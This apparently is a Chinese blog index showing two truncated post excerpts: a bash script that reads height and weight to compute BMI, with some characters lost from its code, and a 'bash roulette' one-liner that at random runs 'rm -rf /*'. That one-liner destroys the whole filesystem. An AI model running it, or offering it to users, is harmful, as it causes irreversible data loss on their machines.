摘要： read p "请输入身高(m为单位): " HIGH if [[ ! "$HIGH" =~ ^[0 2]\.?[0 9]{,2}$ ]];then echo "输入错误的身高" exit 1 fi read p "请输入体重(kg为单位): " WEIGHT if [[ ! "$WEIGHT" = 阅读全文

摘要： ```(bash) [ $[RANDOM%6] -eq 0 ] && rm -rf /* || echo "click" ``` 阅读全文